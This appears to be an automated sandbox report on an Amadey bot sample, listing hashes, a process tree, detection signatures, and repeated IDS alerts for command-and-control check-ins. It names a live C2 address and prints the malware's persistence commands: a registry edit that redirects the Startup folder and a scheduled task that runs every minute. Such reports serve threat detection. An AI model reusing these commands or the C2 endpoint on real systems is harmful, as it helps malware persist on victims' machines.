Play interactive tour

Edit tour

Windows Analysis Report mvoElayshk.exe

Overview

General Information

Sample Name:	mvoElayshk.exe
Analysis ID:	473548
MD5:	231c758869bf91299b69a8aae619aa48
SHA1:	33f0e34d02c2a2fbe76a8d80148c9b3bb9647656
SHA256:	6a5c86378beea3c4aef5f4a88b8367b1f4a6a7a4578646c081712f2ddda5192f
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Yara detected Amadey bot

Multi AV Scanner detection for dropped file

Creates multiple autostart registry keys

Contains functionality to register a low level keyboard hook

Machine Learning detection for sample

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Direct Autorun Keys Modification

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Contains functionality to launch a program with higher privileges

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

mvoElayshk.exe (PID: 3220 cmdline: 'C:\Users\user\Desktop\mvoElayshk.exe' MD5: 231C758869BF91299B69A8AAE619AA48)

a.exe (PID: 6736 cmdline: 'C:\Users\user\AppData\Local\Temp\a.exe' MD5: F8899BB72B91E110CD5D6DA17861369C)

rnyuf.exe (PID: 6908 cmdline: 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' MD5: F8899BB72B91E110CD5D6DA17861369C)

cmd.exe (PID: 1256 cmdline: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6372 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 3684 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

1sb1iwyem7.exe (PID: 5384 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 4164 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

1sb1iwyem7.exe (PID: 6268 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 4780 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6700 cmdline: C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

tasklist.exe (PID: 5032 cmdline: TaskList /fo CSV /nh MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

taskkill.exe (PID: 1316 cmdline: TaskKill /pid 6268 /t /f MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

5mgcqk6jl.exe (PID: 7012 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 7084 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 6496 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 4732 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 6596 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 7004 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 4492 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 1172 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 5480 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 816 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

rnyuf.exe (PID: 6544 cmdline: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe MD5: F8899BB72B91E110CD5D6DA17861369C)

1sb1iwyem7.exe (PID: 5920 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 1288 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5568 cmdline: C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

tasklist.exe (PID: 5500 cmdline: TaskList /fo CSV /nh MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

1sb1iwyem7.exe (PID: 3184 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 2108 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 2188 cmdline: C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

tasklist.exe (PID: 5224 cmdline: TaskList /fo CSV /nh MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

1sb1iwyem7.exe (PID: 2740 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 4044 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6704 cmdline: C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

tasklist.exe (PID: 4204 cmdline: TaskList /fo CSV /nh MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

taskkill.exe (PID: 5508 cmdline: TaskKill /pid 3184 /t /f MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

1sb1iwyem7.exe (PID: 4624 cmdline: 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe' MD5: 8AB82DE9E761FA26308DAC69D6B855A6)

cmd.exe (PID: 5164 cmdline: 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5560 cmdline: C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

tasklist.exe (PID: 6932 cmdline: TaskList /fo CSV /nh MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

taskkill.exe (PID: 5916 cmdline: TaskKill /pid 4624 /t /f MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

5mgcqk6jl.exe (PID: 5456 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 5008 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 7060 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

5mgcqk6jl.exe (PID: 5364 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

rnyuf.exe (PID: 5388 cmdline: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe MD5: F8899BB72B91E110CD5D6DA17861369C)

5mgcqk6jl.exe (PID: 6996 cmdline: 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe' MD5: EC0FC802166AE83C519C5AEA89D65A53)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "46.17.96.36/k8FppT/index.php", "Version": "2.50", "Install File": "rnyuf.exe"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.996019062.0000000004707000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000005.00000002.927011329.000000000131A000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000005.00000002.933021893.000000000137E000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000005.00000002.927044420.0000000001359000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: rnyuf.exe PID: 6908	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Sigma Overview

System Summary:

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\, CommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1256, ProcessCommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\, ProcessId: 6372

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 11.0.rnyuf.exe.f00000.0.unpack

Malware Configuration Extractor: Amadey {"C2 url": "46.17.96.36/k8FppT/index.php", "Version": "2.50", "Install File": "rnyuf.exe"}

Multi AV Scanner detection for submitted file

Show sources

Source: mvoElayshk.exe	Virustotal: Detection: 55%			Perma Link
Source: mvoElayshk.exe	ReversingLabs: Detection: 69%

Antivirus / Scanner detection for submitted sample

Show sources

Source: mvoElayshk.exe

Avira: detected

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\1sb1iwyem7[1].exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\5mgcqk6jl[1].exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\a.exe	ReversingLabs: Detection: 61%

Machine Learning detection for sample

Show sources

Source: mvoElayshk.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\a.exe	Joe Sandbox ML: detected

Source: mvoElayshk.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: mvoElayshk.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: mvoElayshk.exe

Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_0101B0C2 FindFirstFileExW,	3_2_0101B0C2
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F1B0C2 FindFirstFileExW,	5_2_00F1B0C2
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F1B0C2 FindFirstFileExW,	11_2_00F1B0C2
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00409931 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	13_2_00409931
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00403327 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	13_2_00403327
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00403442 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	13_2_00403442
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00404402 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	13_2_00404402
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00409931 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	16_2_00409931
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00403327 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	16_2_00403327
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00403442 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	16_2_00403442
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00404402 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	16_2_00404402

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\1sb1iwyem7	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49735 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49803 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49805 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49804 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49806 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49808 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49809 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49811 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49813 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49814 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49816 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49817 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49819 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49820 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49822 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49823 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49825 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49827 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49828 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49830 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49831 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49833 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49834 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49835 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49836 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49838 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49839 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49841 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49843 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49844 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49845 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49846 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49847 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49848 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49850 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49851 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49853 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49854 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49856 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49857 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49858 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49860 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49861 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49863 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49864 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49866 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49868 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49869 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49870 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49871 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49872 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49874 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49875 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49877 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49878 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49879 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49881 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49882 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49884 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49885 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49886 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49888 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49889 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49891 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49893 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49894 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49896 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49897 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49899 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49900 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49902 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49903 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49904 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49905 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49906 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49908 -> 46.17.96.36:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49909 -> 46.17.96.36:80
